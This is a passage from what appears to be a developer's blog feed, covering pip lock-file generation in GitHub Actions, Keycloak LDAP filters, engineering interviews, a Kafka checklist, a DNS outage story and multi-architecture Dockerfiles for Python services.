<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">        w</span><span style="color: light-dark(#1E66F5, #89B4FA);">ith</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">          p</span><span style="color: light-dark(#1E66F5, #89B4FA);">ython-version</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">3.9</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">      -</span><span style="color: light-dark(#1E66F5, #89B4FA);"> n</span><span style="color: light-dark(#1E66F5, #89B4FA);">ame</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> I</span><span style="color: light-dark(#40A02B, #A6E3A1);">nstall pip and pip-tools</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">        r</span><span style="color: light-dark(#1E66F5, #89B4FA);">un</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#8839EF, #CBA6F7);"> |</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">          pip install --upgrade pip</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">          pip install --upgrade pip-tools</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">      -</span><span style="color: light-dark(#1E66F5, #89B4FA);"> n</span><span style="color: light-dark(#1E66F5, #89B4FA);">ame</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> R</span><span style="color: light-dark(#40A02B, #A6E3A1);">un pip-compile</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">        r</span><span style="color: light-dark(#1E66F5, #89B4FA);">un</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#8839EF, #CBA6F7);"> |</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">          pip-compile --allow-unsafe --generate-hashes --no-emit-index-url --output-file=requirements-lock.txt &gt; requirements-lock.txt</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">      -</span><span style="color: light-dark(#1E66F5, #89B4FA);"> n</span><span style="color: light-dark(#1E66F5, #89B4FA);">ame</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> U</span><span style="color: light-dark(#40A02B, #A6E3A1);">pload requirements-lock artifact</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">        u</span><span style="color: light-dark(#1E66F5, #89B4FA);">ses</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> a</span><span style="color: light-dark(#40A02B, #A6E3A1);">ctions/upload-artifact@v3.1.1</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">        w</span><span style="color: light-dark(#1E66F5, #89B4FA);">ith</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">          n</span><span style="color: light-dark(#1E66F5, #89B4FA);">ame</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> r</span><span style="color: light-dark(#40A02B, #A6E3A1);">equirements-lock</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">          p</span><span style="color: light-dark(#1E66F5, #89B4FA);">ath</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> r</span><span style="color: light-dark(#40A02B, #A6E3A1);">equirements-lock.txt</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">          r</span><span style="color: light-dark(#1E66F5, #89B4FA);">etention-days</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#FE640B, #FAB387);"> 3</span></span></code></pre>
<p><span class="img-title">build-requirements-lock-workflow</span></p>
<p>The Github Actions manifest above defines a workflow that can be triggered manually
on any branch you like.</p>
<p>Suppose you're upgrading some dependencies in requirement.txt. <code>pip install -r requirements.txt</code>
works fine. Now you want to generate a new lock file for the users. You commit the changes to your
branch, wait for the tests to pass, and trigger the workflow:</p>
<p><img src="/images/gh-actions-lockfile.png" alt="" />
<span class="img-title">Github Actions Workflow</span></p>
<p>A freshly generated requirements-lock.txt appears in downloadable artifacts.
You download the file and add it to the repo.</p>
<p>Another option might be to run a similar workflow in a Docker container. I posted a note about
multi-architecture builds a few months ago. <a rel="noopener external" target="_blank" href="https://dev.to/akrisanov/building-multi-arch-images-for-arm-and-x86-2802">Take a look!</a>
Just make sure you choose the same architecture and Python version that you want to distribute your project to.</p>
<div class="callout callout-bdc">
Other tools like Poetry might do the job better and provide more convenient ways of managing lock files.
But if you have reasons to not use them, it's totally fine to stick with good old pip.
</div>

        
      ]]></description>
    </item>
    
    <item>
      <title>Synchronizing Users From LDAP With Keycloak Using AD Filters</title>
      <pubDate>Sat, 23 Sep 2023 00:00:00 +0000</pubDate>
      <author>Andrey Krisanov</author>
      <link>https://akrisanov.com/custom-user-ldap-filter-in-keycloak/</link>
      <guid>https://akrisanov.com/custom-user-ldap-filter-in-keycloak/</guid>
      <description xml:base="https://akrisanov.com/custom-user-ldap-filter-in-keycloak/"><![CDATA[
        <p>Published: 2023-09-23</p>
        
        
          <p>One of the ways to synchronize users via a third-party provider with Keycloak is a mechanism
called User Federation. It allows, using Kerberos or LDAP protocol, to pull user entries from your
corporate authentication storage. However, if your organization is big enough to have a complex
structure and there are a lot of users in the user directory, it could be challenging to get only
a subset of the accounts that belong to different organization units.</p>
<p>For example, Active Directory models a tree-based structure using the following entities:</p>
<ul>
<li><code>CN</code> = Common Name</li>
<li><code>OU</code> = Organizational Unit</li>
<li><code>DC</code> = Domain Component</li>
</ul>
<p>All the distinguished names can be found in <a rel="noopener external" target="_blank" href="https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ldap/distinguished-names">the official documentation</a>
provided by Microsoft.</p>
<p>To configure a new User Federation in Keycloak, it's required to specify a User DN.
This distinguished name is the base object in the directory information tree where the search
begins forming candidates for pulling authentication entries. Therefore, we need to know how to
construct the User DN.</p>
<p>The base option that an Active Directory administrator could use to create user accounts is to
organize them under organizational units:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="plain"><span class="giallo-l"><span>OU=Main,DC=Orgname,DC=ru</span></span></code></pre>
<p>Even if your organizational unit has a complex structure, it's still relatively easy for Keycloak
to find user entries inside it – just activate the <code>Search Scope: Subtree</code> setting when configuring
the user federation. In large organizations, the Active Directory structure can get quite messy.
Instead of using clear distinguished names, administrators do something surprising even to them.
How about putting entries under CN in different organizational units?</p>
<p>This is what I encountered while working on corporate user authentication for a media platform's CMS.
User entries of the editors were grouped via the Common Name. So, there is no way to define User DN
in the way I've mentioned in the example above. Fortunately, the LDAP connection allows providing
a filter for Active Directory. In my case, writing the filter to select all of the members of the
<code>CMS_EDITOR</code> group was enough to solve a problem:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="plain"><span class="giallo-l"><span>(&amp;(objectCategory=Person)(sAMAccountName=*)(|(memberOf=CN=CMS_EDITOR,OU=Security,OU=Groups,OU=Central,OU=Main,DC=Orgname,DC=ru)))</span></span></code></pre>
<p>Moreover, the <code>Custom User LDAP Filter</code> setting in Keycloak supports logical operators like <em>or</em>
with <code>|</code>, and I could use it for finding not only the members of the editor staff but also
CMS admins, guests, etc.</p>

        
      ]]></description>
    </item>
    
    <item>
      <title>Understand How Services Are Run And Operate In Production</title>
      <pubDate>Wed, 06 Sep 2023 00:00:00 +0000</pubDate>
      <author>Andrey Krisanov</author>
      <link>https://akrisanov.com/understand-how-services-are-run-and-operate-in-production/</link>
      <guid>https://akrisanov.com/understand-how-services-are-run-and-operate-in-production/</guid>
      <description xml:base="https://akrisanov.com/understand-how-services-are-run-and-operate-in-production/"><![CDATA[
        <p>Published: 2023-09-06</p>
        
        
          <p>Over the past few years, I've been interviewing dozens of software engineers who didn't know how
their developed services run and operate in production. The reason for that is a rising trend in
software engineering trusting in an infrastructure team, the magic of the cloud, Docker,
Kubernetes, and whatnot.</p>
<p>A conversation with a talent usually looks the following:</p>
<blockquote class="dialogue">
<p class="q"><strong>Interviewer:</strong> How do you ship your service to production?</p>
<p class="a"><strong>Candidate:</strong> We build Docker images and run containers.</p>
<p class="q"><strong>Interviewer:</strong> Sounds cool! Can you tell me about the resource requirements for a container?</p>
<p class="a"><strong>Candidate:</strong> Hmm, to be honest, I don't know the details. DevOps folks take care of that.</p>
<p class="q"><strong>Interviewer:</strong> (discussing Python app) OK. And what application server do you use?</p>
<p class="a"><strong>Candidate:</strong> Application Server? (Some people even reply: "You mean WSGI?")</p>
<p class="q"><strong>Interviewer:</strong> Yes, the thing that handles web requests and runs your Python code.</p>
<p class="a"><strong>Candidate:</strong> Hmm, let me open a project repo and check..</p>
<p class="a"><strong>Candidate:</strong> It's...Gunicorn!</p>
<p class="q"><strong>Interviewer:</strong> Great. Can you estimate how many requests the web application can handle?</p>
<p class="a"><strong>Candidate:</strong> I don't think so because we don't do load testing.</p>
<p class="q"><strong>Interviewer:</strong> So, it's not possible to do even a rough estimation?</p>
<p class="a"><strong>Candidate:</strong> Nope.</p>
<p class="q"><strong>Interviewer:</strong> OK. Do you understand what happens on a processes and threads level when the application server processes a request?</p>
</blockquote>
<p>This is where the conversation hits a dead end. Many talents don't. And this is a red sign to me.
It gets worse when a candidate claims they have experience with (semi)async services in production
but can't explain <a rel="noopener external" target="_blank" href="https://docs.gunicorn.org/en/stable/design.html?ref=akrisanov.com#server-model">a service model</a>
they have chosen and how the services operate because of that (including resources allocating and consumption).</p>
<p>You might say: "Why do I need to know all that low-level stuff in the 2020s?".
Fair enough...if you don't develop software for thousands of users, have an unlimited budget for
underutilized hardware, don't design distributed systems, or, simply, have an SRE team ready to
solve all possible issues for you. Otherwise, please do.</p>

        
      ]]></description>
    </item>
    
    <item>
      <title>Choosing Apache Kafka For A New Project – A Questionnaire</title>
      <pubDate>Tue, 29 Aug 2023 00:00:00 +0000</pubDate>
      <author>Andrey Krisanov</author>
      <link>https://akrisanov.com/choosing-kafka/</link>
      <guid>https://akrisanov.com/choosing-kafka/</guid>
      <description xml:base="https://akrisanov.com/choosing-kafka/"><![CDATA[
        <p>Published: 2023-08-29</p>
        
        
          <p>In any modern project where there is a need to process events – a set of messages or a stream of
data – developers often propose Apache Kafka as the infrastructure solution. This is not always a
weighted choice – where a classic broker like ActiveMQ will do, marketing sometimes prevails.</p>
<p>But let's assume that you have deliberately chosen Kafka, or that the infrastructure team has
left you no alternative. Before setting up broker parameters and writing producers and consumers,
what questions should you ask yourself? To ensure a smooth start, I have prepared the following
checklist:</p>
<ol>
<li>
<p>The amount of data that is going to be generated by the producers →
Will <strong>the network channel</strong> be sufficient for the entire system and its critical components?
Is there an option to make use of <a rel="noopener external" target="_blank" href="https://www.conduktor.io/kafka/kafka-message-compression/">message compression</a>?</p>
</li>
<li>
<p><a rel="noopener external" target="_blank" href="https://strimzi.io/blog/2021/12/17/kafka-segment-retention/"><strong>Data retention policy</strong></a>:
How long do you need to keep data? → Consider the business and data protection requirements of
a product you are developing, and the cost of storing data.</p>
</li>
<li>
<p><strong>Message sending guarantees (<a rel="noopener external" target="_blank" href="https://www.conduktor.io/kafka/kafka-producer-acks-deep-dive/">Acks</a>)</strong> →
Finding the right balance between latency and reliability within replication (durability).</p>
</li>
<li>
<p><strong>Message delivery guarantees</strong> → How critical is message loss or duplication of messages to
the business objective? Are <a rel="noopener external" target="_blank" href="https://www.conduktor.io/kafka/idempotent-kafka-producer/">idempotency</a>
and <a rel="noopener external" target="_blank" href="https://www.confluent.io/blog/transactions-apache-kafka/">transactionality</a> needed?</p>
</li>
<li>
<p><strong>What <a rel="noopener external" target="_blank" href="https://redpanda.com/guides/kafka-tutorial/kafka-partition-strategy">partitioning strategy</a> will producers use?</strong> →
Is the default strategy (<code>Default partitioner</code>) appropriate?</p>
</li>
<li>
<p>For a particular topic, is it important to store the entire message log, or are the latest
changes sufficient → Consider using <a rel="noopener external" target="_blank" href="https://docs.aiven.io/docs/products/kafka/concepts/log-compaction"><strong>Compacted</strong></a>
<strong><a rel="noopener external" target="_blank" href="https://docs.confluent.io/kafka/design/log_compaction.html">topics</a></strong>.</p>
</li>
<li>
<p><strong>Do the created topics require a <a rel="noopener external" target="_blank" href="https://www.conduktor.io/kafka/kafka-consumer-groups-and-consumer-offsets/">consumer group</a>?</strong> →
How do you plan to scale consumers and their bandwidth? What happens when the group is
<a rel="noopener external" target="_blank" href="https://www.verica.io/blog/understanding-kafkas-consumer-group-rebalancing/">rebalanced</a>?</p>
</li>
</ol>
<p>That's it. The checklist/questionnaire is by no means exhaustive and it only covers the essentials.
It leaves out a lot of things such as data encryption, authentication, authorization, and cluster
configuration – assuming that the SRE team or some PAAS will take care of that for you.</p>

        
      ]]></description>
    </item>
    
    <item>
      <title>My &quot;It&#x27;s not DNS&quot; story</title>
      <pubDate>Sat, 12 Aug 2023 00:00:00 +0000</pubDate>
      <author>Andrey Krisanov</author>
      <link>https://akrisanov.com/it-is-not-dns/</link>
      <guid>https://akrisanov.com/it-is-not-dns/</guid>
      <description xml:base="https://akrisanov.com/it-is-not-dns/"><![CDATA[
        <p>Published: 2023-08-12</p>
        
        
          <p>Summer of 2019. I'm joining a large retail organization that is undergoing a digital transformation.
The role I've been hired for is a technical leadership role. The project I'm taking over doesn't
even have a complete team yet, which means I'll be wearing all sorts of hats until I hire someone
and delegate work. You could say, I'm the only "developer" on the team. Also, the code base is
already serving users, and the services are part of a lead generation funnel for one of the grocery
networks. So if something goes down, the company loses potential customers and revenue. The fact
that the project was developed by an outsourced team that has already left without handing over
proper documentation makes things more complicated and fragile.</p>
<p>In a few days, I try to understand how the services are run in production, write missing README
and system design papers, and create initial tasks for maintenance. All goes well, and I manage
to deploy some changes to the backend. It's Friday afternoon, so I still have time to do
a rollback if I've made a mistake. But nothing suspicious has been observed during the day,
and I leave the office for the weekend.</p>
<p>The fun begins on Sunday. Because I'm in charge of the project, I'm the one who is on-call.
I get a call from our support team telling me that the web application isn't responding from time
to time and that they're getting complaints from customers.</p>
<p>The first thing I do is open my browser to check what users are seeing. Surprisingly, a web page
loads just fine. I hit refresh – same result. Then I turn off Wi-Fi on my iPhone and open
Safari – 504 error. It's a Nginx page. Now it is something.</p>
<p><img src="/images/karusel-arch.jpg" alt="Simplified diagram of the project architecture" />
<span class="img-title">Simplified diagram of the project architecture</span></p>
<p>I open the monitoring and observe no high load. CPU usage is low, more than 50% of memory is free,
plenty of free disk space on each of the virtual machines, no spikes in the network bandwidth.
Looking at the Nginx logs only proves that there's a gateway timeout error related to the backend.
I should check the application backend logs. Nothing there, no errors at all.</p>
<p>At this point, I start to blame the network and call the network infrastructure team.
These guys work on an organisational level and potentially can see what I can't. After spending
an hour investigating together, we see nothing. It's already Sunday evening, and
I'm almost hopeless.</p>
<p>I decide to take a break and go for a walk. When I'm back, I try to ssh to a VM again. Suddenly,
I notice a few seconds of delay before I can type my commands into a terminal. "It can't be DNS",
I say to myself. To prove it, I ping a public domain from our network. Again, a few seconds of
delay and the network packets are flying without a hitch.
"If DNS was down, the infrastructure team would notice.", I continue to reason.
Before escalating the situation further to upper management, I choose to check the DNS
configuration on the backend virtual machines.</p>
<p>The /etc/resolv.conf is a DNS resolver configuration file. It contains records in the following format:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">nameserver</span><span> [ip</span><span>]</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">nameserver</span><span> [ip</span><span>]</span></span></code></pre>
<p>In my developer's mind, a Linux machine receives these records at boot time and caches them.
This file is then queried to resolve domains. What could possibly go wrong? Well, I ask the
infrastructure team about the IP addresses I see in <code>/etc/resolv.conf</code> and get a surprising
answer: "The IP addresses are DNS load balancers and the first one in the list is currently down".
Hearing this, I begin to understand why the ssh and initial ping delays are happening.
The first DNS load balancer is queried, but because it's down, it doesn't respond, and
the resolution continues with the second IP address.</p>
<p>I remove the first nameserver from <code>/etc/resolv.conf</code> and drop the DNS cache on each of the VMs.
After a few seconds, the 504 error and the gateway timeout disappear. In the morning, we'll
discuss the incident with the infrastructure team and senior management. Fun week ahead.</p>
<div class="callout callout-bdc">
<p>
    It's not DNS<br/>
    There's no way it's DNS<br/>
    It was DNS
</p>
<p class="author">Old Japanese Haiku</p>
</div>

        
      ]]></description>
    </item>
    
    <item>
      <title>Building Multi-Arch Images for Arm and x86</title>
      <pubDate>Thu, 10 Aug 2023 00:00:00 +0000</pubDate>
      <author>Andrey Krisanov</author>
      <link>https://akrisanov.com/multi-arch-docker-images/</link>
      <guid>https://akrisanov.com/multi-arch-docker-images/</guid>
      <description xml:base="https://akrisanov.com/multi-arch-docker-images/"><![CDATA[
        <p>Published: 2023-08-10</p>
        
        
          <p>At work, I am involved in the development of a machine learning SDK and cloud services for
privacy and data protection. Like almost every company in this space, we rely heavily on
Python's scientific ecosystem. Because it's quite mature and depends on native library
development that started years ago, getting these packages to work on new architectures
can be tedious.</p>
<p>I am one of the few developers on our team who has stuck with MacOS and have a Macbook Pro
with M1 chip. There is no easy way for me to bootstrap our development environment in a matter
of minutes. I have to use Conda, install specific versions of Python packages, patch some native
libraries, and even create a symlink from an OS-specific package to its generic name
(I'm talking to you, Tensorflow). People on the <code>x86_64</code> architecture generally won't have
this problem – almost every package we use comes with a pre-built wheel for a chosen OS.
Moreover, to install the SDK as a dependency of, say, an HTTP API service, I had to assemble
it from sources: <code>pip install -e '.'</code></p>
<p>A few months ago we didn't even support the Arm64 architecture at a build level. This changed when
I introduced a Github Action pipeline to build Python wheels for Linux <code>x86_64</code>, <code>aarch64</code>, and <code>universal</code>.
Instead of manually compiling some native libraries on my machine, I moved the work to GitHub and
its Linux instances. From that moment on, I could just get the package from a private PyPI registry.
The sad truth is that I still use Conda and sometimes patch one or two transitive dependencies for
my M1 chip. But other than that, no hard times to date.</p>
<p>Today I needed to distribute a newly created API service with the SDK inside as a Docker image.
And I haven't found an easy way to define a Dockerfile that can be built and run on
Apple Silicon without Conda:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="docker"><span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">FROM</span><span> python:3.9-slim-buster </span><span style="color: light-dark(#8839EF, #CBA6F7);">AS</span><span> base</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">ENV</span><span> PYTHONDONTWRITEBYTECODE=1</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">ENV</span><span> PYTHONUNBUFFERED=1</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Install Conda</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">RUN</span><span> apt-get update &amp;&amp; apt-get -y upgrade</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">RUN</span><span> apt-get install -y --no-install-recommends build-essential g++ gcc libssl-dev cmake git wget</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">RUN</span><span> rm -rf /var/lib/apt/lists/*</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">ENV</span><span> PATH=</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">/root/miniconda3/bin:${PATH}</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">ARG</span><span> PATH=</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">/root/miniconda3/bin:${PATH}</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">RUN</span><span> wget \</span></span>
<span class="giallo-l"><span>    https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-aarch64.sh \</span></span>
<span class="giallo-l"><span>    &amp;&amp; mkdir /root/.conda \</span></span>
<span class="giallo-l"><span>    &amp;&amp; bash Miniconda3-latest-Linux-aarch64.sh -b \</span></span>
<span class="giallo-l"><span>    &amp;&amp; rm -f Miniconda3-latest-Linux-aarch64.sh</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Create a Conda environment and install native dependencies</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">RUN</span><span> --mount=type=cache,target=/root/.cache \</span></span>
<span class="giallo-l"><span>    conda init bash &amp;&amp; . /root/.bashrc &amp;&amp; \</span></span>
<span class="giallo-l"><span>    conda update conda &amp;&amp; \</span></span>
<span class="giallo-l"><span>    conda create -n de_agent python=3.9 &amp;&amp; \</span></span>
<span class="giallo-l"><span>    conda env config vars set -n de_agent LD_PRELOAD=/usr/lib/aarch64-linux-gnu/libgomp.so.1 &amp;&amp; \</span></span>
<span class="giallo-l"><span>    conda activate de_agent &amp;&amp; \</span></span>
<span class="giallo-l"><span>    conda install gdal llvmdev dm-tree -y &amp;&amp; \</span></span>
<span class="giallo-l"><span>    pip install --upgrade pip setuptools wheel &amp;&amp; \</span></span>
<span class="giallo-l"><span>    pip install h3</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Copy application files</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">WORKDIR</span><span> /app</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">COPY</span><span> app/ .</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">COPY</span><span> logging.yaml .</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">COPY</span><span> main.py .</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">COPY</span><span> requirements.txt ./</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Install Python packages</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">ARG</span><span> DE_AGENT_PYPI_TOKEN</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">RUN</span><span> --mount=type=cache,target=/root/.cache \</span></span>
<span class="giallo-l"><span>    . /root/.bashrc &amp;&amp; conda activate de_agent &amp;&amp; \</span></span>
<span class="giallo-l"><span>    pip install -r requirements.txt --extra-index-url=https://${DE_AGENT_PYPI_TOKEN}:@pypi.****.ai/pypi/ &amp;&amp; \</span></span>
<span class="giallo-l"><span>    pip install numpy==1.23.5</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Cleanup</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">RUN</span><span> apt -qy purge --auto-remove build-essential g++ gcc libssl-dev cmake git wget</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">RUN</span><span> apt autoremove &amp;&amp; apt clean</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">RUN</span><span> rm -rf /var/lib/apt/lists/*</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Create a user</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">RUN</span><span> groupadd -r de_agent &amp;&amp; useradd -r -m -g de_agent de_agent</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">RUN</span><span> chown -R de_agent:de_agent /app</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">USER</span><span> de_agent</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Run the web application</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">EXPOSE</span><span> 8000</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">ENTRYPOINT</span><span> [</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">PYTHONPATH=.</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span>, </span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">python</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span>, </span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">main.py</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span>]</span></span></code></pre>
<p>As you can see, the manifest is quite verbose. It also adds the Conda binaries and related
files to a release image. It is a price that must be paid.</p>
<p>Fortunately, for Linux, we don't need all of this machinery:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="docker"><span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">FROM</span><span> python:3.9-slim-buster </span><span style="color: light-dark(#8839EF, #CBA6F7);">AS</span><span> base</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">ENV</span><span> PYTHONDONTWRITEBYTECODE=1</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">ENV</span><span> PYTHONUNBUFFERED=1</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Install system packages</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">RUN</span><span> apt-get update &amp;&amp; apt-get -y upgrade</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">RUN</span><span> apt-get install -y --no-install-recommends build-essential g++ gcc libssl-dev cmake git wget</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">RUN</span><span> rm -rf /var/lib/apt/lists/*</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Copy application files</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">WORKDIR</span><span> /app</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">COPY</span><span> app/ .</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">COPY</span><span> logging.yaml .</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">COPY</span><span> main.py .</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">COPY</span><span> requirements.txt ./</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Install Python dependencies</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">ARG</span><span> DE_AGENT_PYPI_TOKEN</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">RUN</span><span> --mount=type=cache,target=/root/.cache \</span></span>
<span class="giallo-l"><span>    pip install -r requirements.txt --extra-index-url=https://${DE_AGENT_PYPI_TOKEN}:@pypi.****.ai/pypi/</span></span>
<span class="giallo-l"></span>
